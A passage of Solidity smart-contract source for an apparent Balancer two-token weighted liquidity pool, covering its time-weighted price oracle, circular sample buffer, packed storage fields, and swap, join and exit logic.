to apply the offset to access it in a sorted way. mid = midWithoutOffset.add(offset); sample = _getSample(mid); sampleTimestamp = sample.timestamp(); if (sampleTimestamp < lookUpDate) { // If the mid sample is bellow the look up date, then increase the low index to start from there. low = midWithoutOffset + 1; } else if (sampleTimestamp > lookUpDate) { // If the mid sample is above the look up date, then decrease the high index to start from there. // We can skip checked arithmetic: it is impossible for `high` to ever be 0, as a scenario where `low` // equals 0 and `high` equals 1 would result in `low` increasing to 1 in the previous `if` clause. high = midWithoutOffset - 1; } else { // sampleTimestamp == lookUpDate // If we have an exact match, return the sample as both `prev` and `next`. return (sample, sample); } } // In case we reach here, it means we didn't find exactly the sample we where looking for. return sampleTimestamp < lookUpDate ? (sample, _getSample(mid.next())) : (_getSample(mid.prev()), sample); } /** * @dev Returns the sample that corresponds to a given `index`. * * Using this function instead of accessing storage directly results in denser bytecode (since the storage slot is * only computed here). */ function _getSample(uint256 index) internal view returns (bytes32) { return _samples[index]; } } library Buffer { // The buffer is a circular storage structure with 1024 slots. // solhint-disable-next-line private-vars-leading-underscore uint256 internal constant SIZE = 1024; /** * @dev Returns the index of the element before the one pointed by `index`. */ function prev(uint256 index) internal pure returns (uint256) { return sub(index, 1); } /** * @dev Returns the index of the element after the one pointed by `index`. */ function next(uint256 index) internal pure returns (uint256) { return add(index, 1); } /** * @dev Returns the index of an element `offset` slots after the one pointed by `index`. */ function add(uint256 index, uint256 offset) internal pure returns (uint256) { return (index + offset) % SIZE; } /** * @dev Returns the index of an element `offset` slots before the one pointed by `index`. */ function sub(uint256 index, uint256 offset) internal pure returns (uint256) { return (index + SIZE - offset) % SIZE; } } /* solhint-disable private-vars-leading-underscore */ contract WeightedOracleMath { using FixedPoint for uint256; int256 private constant _LOG_COMPRESSION_FACTOR = 1e14; int256 private constant _HALF_LOG_COMPRESSION_FACTOR = 0.5e14; /** * @dev Calculates the logarithm of the spot price of token B in token A. * * The return value is a 4 decimal fixed-point number: use `_fromLowResLog` to recover the original value. */ function _calcLogSpotPrice( uint256 normalizedWeightA, uint256 balanceA, uint256 normalizedWeightB, uint256 balanceB ) internal pure returns (int256) { // Max balances are 2^112 and min weights are 0.01, so the division never overflows. // The rounding direction is irrelevant as we're about to introduce a much larger error when converting to log // space. We use `divUp` as it prevents the result from being zero, which would make the logarithm revert. A // result of zero is therefore only possible with zero balances, which are prevented via other means. uint256 spotPrice = balanceA.divUp(normalizedWeightA).divUp(balanceB.divUp(normalizedWeightB)); return _toLowResLog(spotPrice); } /** * @dev Calculates the price of BPT in a token. `logBptTotalSupply` should be the result of calling `_toLowResLog` * with the current BPT supply. * * The return value is a 4 decimal fixed-point number: use `_fromLowResLog` to recover the original value. */ function _calcLogBPTPrice( uint256 normalizedWeight, uint256 balance, int256 logBptTotalSupply ) internal pure returns (int256) { // BPT price = (balance / weight) / total supply // Since we already have ln(total supply) and want to compute ln(BPT price), we perform the computation in log // space directly: ln(BPT price) = ln(balance / weight) - ln(total supply) // The rounding direction is irrelevant as we're about to introduce a much larger error when converting to log // space. We use `divUp` as it prevents the result from being zero, which would make the logarithm revert. A // result of zero is therefore only possible with zero balances, which are prevented via other means. int256 logBalanceOverWeight = _toLowResLog(balance.divUp(normalizedWeight)); // Because we're subtracting two values in log space, this value has a larger error (+-0.0001 instead of // +-0.00005), which results in a final larger relative error of around 0.1%. return logBalanceOverWeight - logBptTotalSupply; } /** * @dev Returns the natural logarithm of `value`, dropping most of the decimal places to arrive at a value that, * when passed to `_fromLowResLog`, will have a maximum relative error of ~0.05% compared to `value`. * * Values returned from this function should not be mixed with other fixed-point values (as they have a different * number of digits), but can be added or subtracted. Use `_fromLowResLog` to undo this process and return to an * 18 decimal places fixed point value. * * Because so much precision is lost, the logarithmic values can be stored using much fewer bits than the original * value required. */ function _toLowResLog(uint256 value) internal pure returns (int256) { int256 ln = LogExpMath.ln(int256(value)); // Rounding division for signed numerator return (ln > 0 ? ln + _HALF_LOG_COMPRESSION_FACTOR : ln - _HALF_LOG_COMPRESSION_FACTOR) / _LOG_COMPRESSION_FACTOR; } /** * @dev Restores `value` from logarithmic space. `value` is expected to be the result of a call to `_toLowResLog`, * any other function that returns 4 decimals fixed point logarithms, or the sum of such values. */ function _fromLowResLog(int256 value) internal pure returns (uint256) { return uint256(LogExpMath.exp(value * _LOG_COMPRESSION_FACTOR)); } } /** * @dev This module provides an interface to store seemingly unrelated pieces of information, in particular used by * Weighted Pools of 2 tokens with a price oracle. * * These pieces of information are all kept together in a single storage slot to reduce the number of storage reads. In * particular, we not only store configuration values (such as the swap fee percentage), but also cache * reduced-precision versions of the total BPT supply and invariant, which lets us not access nor compute these values * when producing oracle updates during a swap. * * Data is stored with the following structure: * * [ swap fee pct | oracle enabled | oracle index | oracle sample initial timestamp | log supply | log invariant ] * [ uint64 | bool | uint10 | uint31 | int22 | int22 ] * * Note that we are not using the most-significant 106 bits. */ library WeightedPool2TokensMiscData { using WordCodec for bytes32; using WordCodec for uint256; uint256 private constant _LOG_INVARIANT_OFFSET = 0; uint256 private constant _LOG_TOTAL_SUPPLY_OFFSET = 22; uint256 private constant _ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET = 44; uint256 private constant _ORACLE_INDEX_OFFSET = 75; uint256 private constant _ORACLE_ENABLED_OFFSET = 85; uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 86; /** * @dev Returns the cached logarithm of the invariant. */ function logInvariant(bytes32 data) internal pure returns (int256) { return data.decodeInt22(_LOG_INVARIANT_OFFSET); } /** * @dev Returns the cached logarithm of the total supply. */ function logTotalSupply(bytes32 data) internal pure returns (int256) { return data.decodeInt22(_LOG_TOTAL_SUPPLY_OFFSET); } /** * @dev Returns the timestamp of the creation of the oracle's latest sample. */ function oracleSampleCreationTimestamp(bytes32 data) internal pure returns (uint256) { return data.decodeUint31(_ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET); } /** * @dev Returns the index of the oracle's latest sample. */ function oracleIndex(bytes32 data) internal pure returns (uint256) { return data.decodeUint10(_ORACLE_INDEX_OFFSET); } /** * @dev Returns true if the oracle is enabled. */ function oracleEnabled(bytes32 data) internal pure returns (bool) { return data.decodeBool(_ORACLE_ENABLED_OFFSET); } /** * @dev Returns the swap fee percentage. */ function swapFeePercentage(bytes32 data) internal pure returns (uint256) { return data.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET); } /** * @dev Sets the logarithm of the invariant in `data`, returning the updated value. */ function setLogInvariant(bytes32 data, int256 _logInvariant) internal pure returns (bytes32) { return data.insertInt22(_logInvariant, _LOG_INVARIANT_OFFSET); } /** * @dev Sets the logarithm of the total supply in `data`, returning the updated value. */ function setLogTotalSupply(bytes32 data, int256 _logTotalSupply) internal pure returns (bytes32) { return data.insertInt22(_logTotalSupply, _LOG_TOTAL_SUPPLY_OFFSET); } /** * @dev Sets the timestamp of the creation of the oracle's latest sample in `data`, returning the updated value. */ function setOracleSampleCreationTimestamp(bytes32 data, uint256 _initialTimestamp) internal pure returns (bytes32) { return data.insertUint31(_initialTimestamp, _ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET); } /** * @dev Sets the index of the oracle's latest sample in `data`, returning the updated value. */ function setOracleIndex(bytes32 data, uint256 _oracleIndex) internal pure returns (bytes32) { return data.insertUint10(_oracleIndex, _ORACLE_INDEX_OFFSET); } /** * @dev Enables or disables the oracle in `data`, returning the updated value. */ function setOracleEnabled(bytes32 data, bool _oracleEnabled) internal pure returns (bytes32) { return data.insertBoolean(_oracleEnabled, _ORACLE_ENABLED_OFFSET); } /** * @dev Sets the swap fee percentage in `data`, returning the updated value. */ function setSwapFeePercentage(bytes32 data, uint256 _swapFeePercentage) internal pure returns (bytes32) { return data.insertUint64(_swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET); } } contract WeightedPool2Tokens is IMinimalSwapInfoPool, IPriceOracle, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable, PoolPriceOracle, WeightedMath, WeightedOracleMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; using WeightedPool2TokensMiscData for bytes32; uint256 private constant _MINIMUM_BPT = 1e6; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% // The swap fee is internally stored using 64 bits, which is enough to represent _MAX_SWAP_FEE_PERCENTAGE. bytes32 internal _miscData; uint256 private _lastInvariant; IVault private immutable _vault; bytes32 private immutable _poolId; IERC20 internal immutable _token0; IERC20 internal immutable _token1; uint256 private immutable _normalizedWeight0; uint256 private immutable _normalizedWeight1; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 private immutable _maxWeightTokenIndex; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; event OracleEnabledChanged(bool enabled); event SwapFeePercentageChanged(uint256 swapFeePercentage); modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } struct NewPoolParams { IVault vault; string name; string symbol; IERC20 token0; IERC20 token1; uint256 normalizedWeight0; uint256 normalizedWeight1; uint256 swapFeePercentage; uint256 pauseWindowDuration; uint256 bufferPeriodDuration; bool oracleEnabled; address owner; } constructor(NewPoolParams memory params) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(params.name, params.symbol) BasePoolAuthorization(params.owner) TemporarilyPausable(params.pauseWindowDuration, params.bufferPeriodDuration) { _setOracleEnabled(params.oracleEnabled); _setSwapFeePercentage(params.swapFeePercentage); bytes32 poolId = params.vault.registerPool(IVault.PoolSpecialization.TWO_TOKEN); // Pass in zero addresses for Asset Managers IERC20[] memory tokens = new IERC20[](2); tokens[0] = params.token0; tokens[1] = params.token1; params.vault.registerTokens(poolId, tokens, new address[](2)); // Set immutable state variables - these cannot be read from during construction _vault = params.vault; _poolId = poolId; _token0 = params.token0; _token1 = params.token1; _scalingFactor0 = _computeScalingFactor(params.token0); _scalingFactor1 = _computeScalingFactor(params.token1); // Ensure each normalized weight is above them minimum and find the token index of the maximum weight _require(params.normalizedWeight0 >= _MIN_WEIGHT, Errors.MIN_WEIGHT); _require(params.normalizedWeight1 >= _MIN_WEIGHT, Errors.MIN_WEIGHT); // Ensure that the normalized weights sum to ONE uint256 normalizedSum = params.normalizedWeight0.add(params.normalizedWeight1); _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _normalizedWeight0 = params.normalizedWeight0; _normalizedWeight1 = params.normalizedWeight1; _maxWeightTokenIndex = params.normalizedWeight0 >= params.normalizedWeight1 ? 0 : 1; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view returns (bytes32) { return _poolId; } function getMiscData() external view returns ( int256 logInvariant, int256 logTotalSupply, uint256 oracleSampleCreationTimestamp, uint256 oracleIndex, bool oracleEnabled, uint256 swapFeePercentage ) { bytes32 miscData = _miscData; logInvariant = miscData.logInvariant(); logTotalSupply = miscData.logTotalSupply(); oracleSampleCreationTimestamp = miscData.oracleSampleCreationTimestamp(); oracleIndex = miscData.oracleIndex(); oracleEnabled = miscData.oracleEnabled(); swapFeePercentage = miscData.swapFeePercentage(); } function getSwapFeePercentage() public view returns (uint256) { return _miscData.swapFeePercentage(); } // Caller must be approved by the Vault's Authorizer function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _miscData = _miscData.setSwapFeePercentage(swapFeePercentage); emit SwapFeePercentageChanged(swapFeePercentage); } /** * @dev Balancer Governance can always enable the Oracle, even if it was originally not enabled. This allows for * Pools that unexpectedly drive much more volume and liquidity than expected to serve as Price Oracles. * * Note that the Oracle can only be enabled - it can never be disabled. */ function enableOracle() external whenNotPaused authenticate { _setOracleEnabled(true); // Cache log invariant and supply only if the pool was initialized if (totalSupply() > 0) { _cacheInvariantAndSupply(); } } function _setOracleEnabled(bool enabled) internal { _miscData = _miscData.setOracleEnabled(enabled); emit OracleEnabledChanged(enabled); } // Caller must be approved by the Vault's Authorizer function setPaused(bool paused) external authenticate { _setPaused(paused); } function getNormalizedWeights() external view returns (uint256[] memory) { return _normalizedWeights(); } function _normalizedWeights() internal view virtual returns (uint256[] memory) { uint256[] memory normalizedWeights = new uint256[](2); normalizedWeights[0] = _normalizedWeights(true); normalizedWeights[1] = _normalizedWeights(false); return normalizedWeights; } function _normalizedWeights(bool token0) internal view virtual returns (uint256) { return token0 ? _normalizedWeight0 : _normalizedWeight1; } function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances); uint256[] memory normalizedWeights = _normalizedWeights(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) external virtual override whenNotPaused onlyVault(request.poolId) returns (uint256) { bool tokenInIsToken0 = request.tokenIn == _token0; uint256 scalingFactorTokenIn = _scalingFactor(tokenInIsToken0); uint256 scalingFactorTokenOut = _scalingFactor(!tokenInIsToken0); uint256 normalizedWeightIn = _normalizedWeights(tokenInIsToken0); uint256 normalizedWeightOut = _normalizedWeights(!tokenInIsToken0); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); // Update price oracle with the pre-swap balances _updateOracle( request.lastChangeBlock, tokenInIsToken0 ? balanceTokenIn : balanceTokenOut, tokenInIsToken0 ? balanceTokenOut : balanceTokenIn ); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. // This is amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = request.amount.mulUp(getSwapFeePercentage()); request.amount = _upscale(request.amount.sub(feeAmount), scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn( request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut ); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut( request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut ); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. // This is amount + fee amount, so we round up (favoring a higher fee amount). return amountIn.divUp(getSwapFeePercentage().complement()); } } function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut, uint256 normalizedWeightIn, uint256 normalizedWeightOut ) private pure returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, normalizedWeightIn, currentBalanceTokenOut, normalizedWeightOut, swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut, uint256 normalizedWeightIn, uint256 normalizedWeightOut ) private pure returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, normalizedWeightIn, currentBalanceTokenOut, normalizedWeightOut, swapRequest.amount ); } // Join Hook function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) whenNotPaused returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) { // All joins, including initializations, are disabled while the contract is paused. uint256 bptAmountOut; if (totalSupply() == 0) { (bptAmountOut, amountsIn) = _onInitializePool(poolId, sender, recipient, userData); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn); // There are no due protocol fee amounts during initialization dueProtocolFeeAmounts = new uint256[](2); } else { _upscaleArray(balances); // Update price oracle with the pre-join balances _updateOracle(lastChangeBlock, balances[0], balances[1]); (bptAmountOut, amountsIn, dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts); } // Update cached total supply and invariant using the results after the join that will be used for future // oracle updates. _cacheInvariantAndSupply(); } /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32, address, address, bytes memory userData ) private returns (uint256, uint256[] memory) { WeightedPool.JoinKind kind = userData.joinKind(); _require(kind == WeightedPool.JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(amountsIn.length, 2); _upscaleArray(amountsIn); uint256[] memory normalizedWeights = _normalizedWeights(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, 2); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) private returns ( uint256, uint256[] memory, uint256[] memory ) { uint256[] memory normalizedWeights = _normalizedWeights(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _mutateAmounts(balances, amountsIn, FixedPoint.add); _lastInvariant = WeightedMath._calculateInvariant(normalizedWeights, balances); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { WeightedPool.JoinKind kind = userData.joinKind(); if (kind == WeightedPool.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData); } else if (kind == WeightedPool.JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(amountsIn.length, 2); _upscaleArray(amountsIn); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), getSwapFeePercentage() ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < 2, Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](2); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), getSwapFeePercentage() ); return (bptAmountOut, amountsIn); } // Exit Hook function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { _upscaleArray(balances); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut); _downscaleDownArray(dueProtocolFeeAmounts); // Update cached total supply and invariant using the results after the exit that will be used for future // oracle updates, only if the pool was not paused (to minimize code paths taken while paused). if (_isNotPaused()) { _cacheInvariantAndSupply(); } return (amountsOut, dueProtocolFeeAmounts); } /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) private returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. uint256[] memory normalizedWeights = _normalizedWeights(); if (_isNotPaused()) { // Update price oracle with the pre-exit balances _updateOracle(lastChangeBlock, balances[0], balances[1]); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged and the oracle is not updated // to avoid extra calculations and reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](2); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _mutateAmounts(balances, amountsOut, FixedPoint.sub); _lastInvariant = WeightedMath._calculateInvariant(normalizedWeights, balances); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { WeightedPool.ExitKind kind = userData.exitKind(); if (kind == WeightedPool.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == WeightedPool.ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < 2, Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](2); // And then assign the result to the selected token amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), getSwapFeePercentage() ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, 2); _upscaleArray(amountsOut); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), getSwapFeePercentage() ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Oracle functions function getLargestSafeQueryWindow() external pure override returns (uint256) { return 34 hours; } function getLatest(Variable variable) external view override returns (uint256) { int256 instantValue = _getInstantValue(variable, _miscData.oracleIndex()); return _fromLowResLog(instantValue); } function getTimeWeightedAverage(OracleAverageQuery[] memory queries) external view override returns (uint256[] memory results) { results = new uint256[](queries.length); uint256 oracleIndex = _miscData.oracleIndex(); OracleAverageQuery memory query; for (uint256 i = 0; i < queries.length; ++i) { query = queries[i]; _require(query.secs != 0, Errors.ORACLE_BAD_SECS); int256 beginAccumulator = _getPastAccumulator(query.variable, oracleIndex, query.ago + query.secs); int256 endAccumulator = _getPastAccumulator(query.variable, oracleIndex, query.ago); results[i] = _fromLowResLog((endAccumulator - beginAccumulator) / int256(query.secs)); } } function getPastAccumulators(OracleAccumulatorQuery[] memory queries) external view override returns (int256[] memory results) { results = new int256[](queries.length); uint256 oracleIndex = _miscData.oracleIndex(); OracleAccumulatorQuery memory query; for (uint256 i = 0; i < queries.length; ++i) { query = queries[i]; results[i] = _getPastAccumulator(query.variable, oracleIndex, query.ago); } } /** * @dev Updates the Price Oracle based on the Pool's current state (balances, BPT supply and invariant). Must be * called on *all* state-changing functions with the balances *before* the state change happens, and with * `lastChangeBlock` as the number of the block in which any of the balances last changed. */ function _updateOracle( uint256 lastChangeBlock, uint256 balanceToken0, uint256 balanceToken1 ) internal { bytes32 miscData = _miscData; if (miscData.oracleEnabled() && block.number > lastChangeBlock) { int256 logSpotPrice = WeightedOracleMath._calcLogSpotPrice( _normalizedWeight0, balanceToken0, _normalizedWeight1, balanceToken1 ); int256 